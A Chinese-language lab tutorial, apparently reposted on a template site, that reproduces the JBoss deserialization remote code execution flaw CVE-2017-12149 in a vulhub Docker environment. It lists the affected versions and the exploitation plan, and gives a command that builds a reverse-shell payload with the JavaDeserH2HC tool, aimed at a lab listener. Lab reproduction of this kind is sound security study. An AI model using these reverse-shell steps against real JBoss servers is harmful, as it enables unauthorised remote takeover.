Jboss反序列化远程代码执行漏洞（CVE-2017-12149）-Toy模板网

这篇具有很好参考价值的文章主要介绍了Jboss反序列化远程代码执行漏洞（CVE-2017-12149）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

漏洞原因

：Jboss文件下的httplnvoker组件中的Readonly Accessfilter过滤器中的dofilter没有限制来自客户端的序列化数据而进行反序列化。
漏洞影响版本：Jboss5.x Jboss6.x

一。环境搭建

利用vulhub搭建Jboss
cd vulhub
cd jboss
cd CVE-2017-12149
docker-compose build (若出现镜像问题，直接执行下面命令)
docker-compose up -d

访问：http://192.168.5.100:8080/
Jboss反序列化远程代码执行漏洞（CVE-2017-12149）
搭建成功

二。漏洞复现思路

下载这个CVE漏洞的POC
nc监听这个受攻击主机的IP和端口
执行这个二进制文件，即POC利用
监听到该主机，漏洞复现成功

下载可执行的二进制文件----执行文件生成payload----监听—curl上传payload------监听成功

三。漏洞复现

访问该URL返回500，发现存在漏洞
Jboss反序列化远程代码执行漏洞（CVE-2017-12149）

首先下载该漏洞的POC
下载可执行的二进制文件
https://github.com/joaomatosf/JavaDeserH2HC

Jboss反序列化远程代码执行漏洞（CVE-2017-12149）
进入目录：
cd JavaDeserH2HC

在该目录下执行生成二进制payload文件：
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.5.100:4444 （监听IP和端口）